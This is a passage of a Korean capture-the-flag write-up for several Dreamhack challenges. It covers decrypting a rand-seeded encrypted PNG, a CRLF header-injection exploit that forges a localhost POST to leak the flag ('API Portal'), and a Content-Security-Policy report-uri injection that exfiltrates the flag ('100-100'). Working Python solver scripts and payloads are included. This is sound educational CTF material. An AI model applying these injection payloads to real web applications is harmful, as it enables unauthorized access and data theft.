_flag.png.XX_의 timestamp 정보를 알 수 있으므로 rand()
에서 어떤 값이 나올지 모두 알 수 있고, 이를 역연산하는 코드를 작성하여 flag를 얻을 수 있었다.
srand(time(0LL));
void make_rand_buf() {
for ( int i = 0; i <= 15; ++i )
rand_buf[i] = rand();
}
void action1_func() {
...
range = rand() % (256 - j);
...
}
void action1_func() {
...
range = rand() % (16 - j);
...
}
Solution
from ctypes import *
libc = CDLL("/lib/x86_64-linux-gnu/libc.so.6")
def make_pbox(n):
pbox = [0]*n
list1 = [x for x in range(n)]
list2 = []
for i in range(n):
r = libc.rand() % (n-i)
for j in range(r):
list2.append(list1.pop())
pbox[i] = list1.pop()
for j in range(r):
list1.append(list2.pop())
return pbox
def enc(data, randbuf):
history = []
for i in range(64):
action = libc.rand() % 3
if action == 2: # xor
for j in range(len(data)):
data[j] ^= randbuf[j % 16]
history.append((2, None))
elif action == 0:
pbox = make_pbox(256)
for j in range(len(data)):
data[j] = pbox[data[j]]
history.append((0, pbox))
elif action == 1:
pbox = make_pbox(16)
for j in range(0, len(data)-1, 16):
tmp = [0]*16
for k in range(16):
tmp[pbox[k]] = data[j + k]
for k in range(16):
data[j + k] = tmp[k]
history.append((1, pbox))
else:
exit(1)
return data, history
def dec(data, history, randbuf):
for i in range(64):
action, pbox = history.pop()
if action == 2: # xor
for j in range(len(data)):
data[j] ^= randbuf[j % 16]
elif action == 0:
for j in range(len(data)):
data[j] = pbox.index(data[j])
elif action == 1:
for j in range(0, len(data)-1, 16):
tmp = [0]*16
for k in range(16):
tmp[k] = data[j + k]
for k in range(16):
data[j + k] = tmp[pbox[k]]
else:
exit(1)
return data
#
#dec("out/flag.png.00", filetimes[0])
result = bytearray()
filetimes = [1661114954, 1661114956, 1661114964, 1661114970, 1661114975, 1661114982, 1661114992, 1661114995, 1661115002, 1661115005]
for i in range(10):
libc.srand(filetimes[i])
randbuf = [libc.rand() & 0xFF for _ in range(16)]
data = bytearray(b"testqwerasdfzxcv")
enc_test, history = enc(data, randbuf)
# dec_test = dec(enc_test, history, randbuf)
# assert dec_test == data
with open(f"out/flag.png.{i:02d}", "rb") as f:
data = bytearray(f.read())
result += dec(data, history, randbuf)
for i in range(0x5, 0x10):
if bytes([i]*5) in result[-0x10:]:
result = result[:-i]
with open("flag.png", "wb") as f:
f.write(result)
Q. API Portal
Vulnerability
_action/flag/flag.php_를 보면 localhost에서 접속하고, post data로 mode, dbkey, key를 넘겨주면 flag를 파일에 출력해주는 것을 알 수 있다.
<?php
include "_flag.php";
if ($_SERVER["REMOTE_ADDR"] === "127.0.0.1" || $_SERVER["REMOTE_ADDR"] === "::1") {
if($_POST["mode"] === "write" && isset($_POST["dbkey"]) && isset($_POST["key"])) {
$k1 = md5($_POST["dbkey"]);
$k2 = md5($_POST["dbkey"].$_POST["key"]);
$value = base64_encode($flag);
@file_put_contents("/tmp/api-portal/db/$k1/$k2", $value);
die("success");
}
}
_flag.php_에 localhost에서 post를 하기 위해 _action/net/proxy/post.php_를 살펴보면 header에 REQUEST_URI
가 들어가게 되고, CRLF를 추가하여 data와 함께 post 요청을 할 수 있다.
$url = "http://".$param[0]; // $_GET["url"]
$ip = $param[1]; // $_SERVER["REMOTE_ADDR"]
$referer = $param[2]; // urldecode($_SERVER["REQUEST_URI"])
$header = "User-Agent: API Portal Proxy\r\n";
$header .= "X-Forwarded-For: {$ip}\r\n";
$header .= "X-Api-Referer: {$referer}";
$ctx = stream_context_create(array(
'http' => array(
'method' => 'POST',
"content" => "", //TODO: implement
'header' => $header
)
));
Solution
import requests
from urllib.parse import quote
s = requests.Session()
url = "http://host1.dreamhack.games:12293"
key = "asd"
dbkey = "asd"
r = s.get(f"{url}", params={"action": "db/create", "key": key})
print(r.text)
content = "mode=write&dbkey=asd&key=asd"
header = "Content-Type: application/x-www-form-urlencoded\r\n"
header += f"Content-Length: {len(content)}"
r = s.get(f"{url}/?action=net/proxy/post&url=127.0.0.1/?action=flag/flag&" + quote(f"\r\n{header}\r\n\r\n{content}"))
print(r.text)
r = s.get(f"{url}", params={"action": "db/list"})
print(r.text)
r = s.get(f"{url}", params={"action": "db/read", "dbkey": dbkey, "key": key})
print(r.text)
R. 100-100
Vulnerability
_prob.php_는 Content-Securiy-Policy 헤더와 GET parameter로 받은 헤더를 추가한다.
페이지를 렌더링할 때 {{flag}}
는 localhost에서 접근할 때 flag로 대체된다.
header("Content-Security-Policy: default-src 'none'; base-uri 'none'; navigate-to 'none';");
if($_GET["extreme"])
header($_GET["extreme"], false);
...
function simple_template($input) {
$input = str_replace("{{flag}}", get_flag(), $input);
Content-Security-Policy에 report-uri
옵션을 지정하면, CSP Violation이 발생했을 때 지정한 uri로 내용에 대해 post 요청을 보내준다.
Content-Security-Policy는 여러 개의 헤더가 있으면, most restricted된 policy를 따른다.
위 두 속성을 이용하면, CSP에 report-uri
를 추가할 수 있고, src에 flag를 추가해 CSP Violation이 발생되면 원하는 uri로 flag를 포함한 post 요청을 보낼 수 있다.
Solution
import requests
url = "http://host3.dreamhack.games:17992"
payload = "http://localhost/prob.php?content=<img src={{flag}}>&extreme=Content-Security-Policy: default-src 'none'; report-uri /receiver.php?uid=asd;"
r = requests.post(f"{url}/submit.php", data={"url": payload})
print(r.text)
S. sleepingshark
scapy를 사용하려다 너무 느려서 Wireshark 필터 http and http.time > 2
를 사용해 수동으로 찾았다.